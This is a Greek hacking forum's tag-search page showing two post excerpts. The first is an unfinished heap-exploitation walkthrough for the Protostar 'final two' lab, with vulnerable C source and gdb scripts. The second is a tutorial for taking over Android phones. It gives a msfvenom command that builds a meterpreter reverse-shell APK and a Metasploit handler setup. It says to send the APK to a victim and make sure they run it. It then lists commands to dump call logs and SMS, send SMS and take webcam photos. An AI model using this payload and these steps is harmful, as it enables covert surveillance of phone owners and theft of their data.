Μετάβαση στο περιεχόμενο

Αναζήτηση στην κοινότητα

Εμφάνιση αποτελεσμάτων για τις ετικέτες 'remote'.

  • Αναζήτηση με βάση τις ετικέτες

    Πληκτρολογήστε τις ετικέτες και χωρίστε τες με κόμμα.
  • Αναζήτηση με βάση τον συγγραφέα

Τύπος περιεχομένου


Ενότητες

  • GreekHacking
    • Κανόνες & Ανακοινώσεις
    • Καλωσόρισμα νέων μελών
    • Προτάσεις / Βελτιώσεις
    • Νέα σχετικά με το Hacking/Security
    • Ασφάλεια & Προστασία Δεδομένων
    • Εκτός Θέματος
  • Leaks
    • Hacking Tutorials
    • Anonymity & Privacy / Ανωνυμία και Προστασία Προσωπικών Δεδομένων
    • Προγράμματα για Hacking / Hacking Programs
    • Cracking Οδηγοί & Πληροφορίες
    • Βιβλία σχετικά με το Hacking
    • Προγράμματα - High Quality downloads
    • E-Books
    • XXX Movies

Categories

  • Ορολογίες
  • Hacking για αρχάριους
  • Hacking για προχωρημένους
  • Mobile Hacking
  • Cracking Tutorials
  • Hacking Computers
  • Hacking Tutorials στα Αγγλικά
  • Tutorials for hacks
  • Διάφοροι Οδηγοί
    • Οδηγοί σχετικά με τα Linux
    • Οδηγοί για υπολογιστές
    • Οδηγοί σχετικά με τα Mac
    • Οδηγοί για κινητά
  • Hacking Tutorials στα Αγγλικά Copy

Categories

  • Hacking
  • Ιστοσελίδες/Server
  • Hardware
  • Windows

Βρείτε αποτελέσματα...

Βρείτε αποτελέσματα που...


Ημερομηνία δημιουργίας

  • Start

    End


Τελευταία ενημέρωση

  • Start

    End


Φιλτράρισμα με βάση τον αριθμό των...

  1. Σε αυτό το tutorial χρειάζεται λίγη γνώση απο binary exploitation, c programming, python, gdb, assembly, understanding of malloc algorithm Ας αρχίσουμε διαβάζοντας τον κώδικα για να βρούμε πιο ειναι το πρόβλημα στο πρόγραμμα. https://exploit.education/protostar/final-two/#source-code Ο σέρβερ τρέχει στην θύρα 2993. Για να μας διευκολύνει και να εστιάσουμε μόνο στο heap vulnerability κάποια μέρη του κώδικα τα έχουν κρύψει οπότε δεν χρειάζεται να ασχοληθούμε με αυτά.Το πρόγραμμα αρχίζει καλώντας την συνάρτηση get_requests() η οποία τρέχει ενα while loop 255 φορές άμα στείλουμε στον σέρβερ 128 bytes τα οποία αρχίζουν απο FSRD.Άμα δεν το κάνουμε αυτό η συνάρτηση κανει break και πάει στο for loop που εκεί κάνει free τα chunks που έγιναν allocate από το calloc. int get_requests(int fd) { char *buf; char *destroylist[256]; int dll; int i; dll = 0; while(1) { if(dll >= 255) break; buf = calloc(REQSZ, 1); if(read(fd, buf, REQSZ) != REQSZ) break; if(strncmp(buf, "FSRD", 4) != 0) break; check_path(buf + 4); dll++; } for(i = 0; i < dll; i++) { write(fd, "Process OK\n", strlen("Process OK\n")); free(destroylist[i]); } } Άρα όταν στείλουμε στον σέρβερ για παράδειγμα FSRD + 'A' *124 (total: 128 bytes) το πρόγραμμα θα καλέσει την check_path συναρτηση η οποία σαν parameter θα πάρει τους χαρακτήρες μετα το FSRD.Μετά στο check_path τσεκάρει αμα υπάρχει στο input που του δώσαμε ο χαρακτήρας '/' γυρίζει ενα pointer(στο τελευταίο '/' που θα βρεί) και μετράει το μέγεθος σε bytes απο το '/' μεχρι να συναντήση NULL TERMINATOR '0x00'. Άμα υπάρχει '/' τότε ψάχνει με το strstr την λέξη ROOT και άμα την βρεί ψάχνει τον χαρακτήρα '/' πίσω στην μνήμη απο το ROOT.Όταν τελειώσουν όλα αυτά καλεί το memmove όπου μεταφέρει l bytes δηλαδή όσα υπολόγισε απο το τελευταίο '/' μεχρι το NULL Terminator από το p που ξαναλέω ειναι το τελευταίο '/' μεχρι το NULL terminator στο start που έιναι το '/' που βρέθηκε πριν το ROOT μεχρι το Null terminator. void check_path(char *buf) { char *start; char *p; int l; /* * Work out old software bug */ p = rindex(buf, '/'); l = strlen(p); if(p) { start = strstr(buf, "ROOT"); if(start) { while(*start != '/') start--; memmove(start, p, l); printf("moving from %p to %p (exploit: %s / %d)\n", p, start, start < buf ? "yes" : "no", start - buf); } } } Κάνουμε ssh στο virtual machine του protostar με ssh root@ip με κωδικό godmode.Φτιάχνουμε ενα αρχείο έτσι ώστε να τρέχει κάθε φορά που ανοίγουμε το gdb έτσι ώστε να κάνει την δουλεία μας πιο έυκολη. set disassembly-flavor intel set follow-fork-mode child set pagination off break *check_path+117 commands x/3wx $esp end run Πρώτα θέτουμε το disassembly-flavor δηλαδή τα op codes σε intel γιατί προσωπικά με αυτά έχω μάθει να δουλεύω, μετά το επόμενο command είναι για να ακολουθήσει το gdb το child proccess το οποιο δημιουργεί το πρόγραμμα όταν δέχεται σύνδεση.Κάνουμε ένα break στο check_path+117 δηλαδή στο memmove και κανουμε print τα πρώτα τρια values στο stack οπου θα βρίσκονται τα parameters start, p, l. Μετά για να είναι τελείως αυτοματοποιημένο δημιουργούμε ενα sh αρχείο. #!/bin/bash gdb -p $(ps aux | grep final2 | head -n 1 | awk '{print $2}') -x /tmp/gdb #το πρωτο parameter ψάχνει το pid του final2 και το κάνει attach στο gdb και το δεύτερο φορτώνει τα commands που έχουμε στο προηγούμενο αρχείο #που φτιάξαμε #chmod +x /tmp/gdb.sh Τρέχουμε το /tmp/gdb.sh και στην δικιά μας μηχανή τρέχουμε το send.py(Συμπληρώνει στην αρχή το FSRD και κάνει το μήνυμα να είναι 128 bytes) με python -i send.py ip address.Θα πετάξει interactive shell οπου μπορούμε να στείλουμε με το send command input στον σερβερ.Για παράδειγμα άμα του στείλουμε send("/ROOT/AAAA")To gdb θα κάνει output 3 values στο stack που τα πρώτα δύο είναι pointers στο start, p και το τριτο integer στο l Δοκίμασε να στείλεις ROOT/AAAA καί δες τι value έχει το start parameter δηλαδή το πιο πάνω στο stack στην περιπτωσή μου πάνω ήταν το 0x0804e010. ΘΑ ΣΥΝΕΧΙΣΩ ΤΟ TUTORIAL ΑΥΡΙΟ :)) ΜΕΧΡΙ ΤΟΤΕ ΣΑΣ ΒΑΖΩ CHALLENGE ΝΑ ΔΙΑΒΑΣΕΤΕ ΚΑΙ ΝΑ ΚΑΤΑΛΑΒΕΤΕ ΤΟ MALLOC ALGORITHM https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/ Και εδώ ένα post το οποίο μιλάει για την ευάλωτη version του heap algorithm το 2001 του doug lea στο οποιο βασίζεται αυτο το tutorial http://phrack.org/issues/57/9.html send.py
  2. Σε αυτό το άρθρο, θα μάθουμε πως να χακάρουμε μια συσκευή android και πως να την κάνουμε exploit όπως επιθυμούμε. Το android είναι ένα λειτουργικό σύστημα βασισμένο στον πυρήνα του Linux. Χρησιμοποιεί τύπο αρχείου APK για την εγκατάσταση εφαρμογών. Έτσι, το malware μας πρέπει να είναι επίσης σε APK. Για να το φτιάξουμε θα εκτελέσουμε την παρακάτω εντολή για msfvenom: [hide] msfvenom -p android/meterpreter/reverse_tcp lhost=192.168.1.109 lport=1234 > shell.apk Αφού φτιαχτεί το malware θα ξεκινήσουμε ένα handler για να πάρουμε session με την εντολή: use exploit/multi/handler set payload android/meterpreter/reverse_tcp set lhost 192.168.1.109 set lport 1234 exploit Όταν τρέξει το exploit στείλε το αρχείο APK στο θύμα και σιγουρευτείτε πως θα το τρέξουν στο κινητό τους. Όταν το αρχείο αυτό τρέξει τότε θα πάρετε session όπως φαίνεται στην παρακάτω εικόνα: Τώρα, υπάρχουν πολλές εντολές για παραπάνω exploitation την συσκευή του χρήστη. Θα σας δείξουμε στην παρακάτω εικόνα μερικά από τα πιο πρακτικά. Μπορείτε να δείτε αν η συσκευή είναι rooted με την παρακάτω εντολή: check_root Μπορείτε επίσης να κάνετε dump όλα τα call-logs σε κάποιο αρχείο με την εντολή: dump_calllog Η οποία θα φτιάξει ένα αρχείο TXT με την λεπτομερές λίστα των call logs του θύματος. Εκτελέστε την παρακάτω εντολή για να την διαβάσετε: cat <όνομα_αρχείου_txt> Μπορείτε επίσης να στείλετε και όλων των ειδών SMS από την συσκευή με την εντολή: send_sms -d <αριθμός_παραλήπτη> -t <κείμενο> Μπορείτε να τραβήξετε φωτογραφία από την κάμερα με την εντολή: webcam_snap η οποία τα αποθηκεύση την φωτογραφία σε αρχείο JPEG Για να κάνετε dump τα SMS τρέξτε την εντολή: dump_sms Όπως και με τα call logs, μπορείτε να διαβάσετε το αρχείο με την εντολή cat (δείτε την εικόνα από κάτω:) Με αυτόν τον τρόπο μπορείτε να κάνετε exploit την συσκευή όπως θέλετε. [/hide]

ChatBox

ChatBox

Chatroom Rules

  • Το GreekHacking.Gr είναι ένα ελληνικό forum και επιτρέπεται μόνο η χρήση της Ελληνική Γλώσσας (ούτε greeklish).
  • Δεν επιτρέπονται οι βρισιές και γενικά η χρήση χυδαίας γλώσσας.
  • Απαγορεύεται αυστηρά το πορνογραφικό, προσβλητικό και βίαιο περιεχόμενο.
  • Μην χρησιμοποιείτε κεφαλαία γράμματα η σύμβολα.
×
×
  • Create New...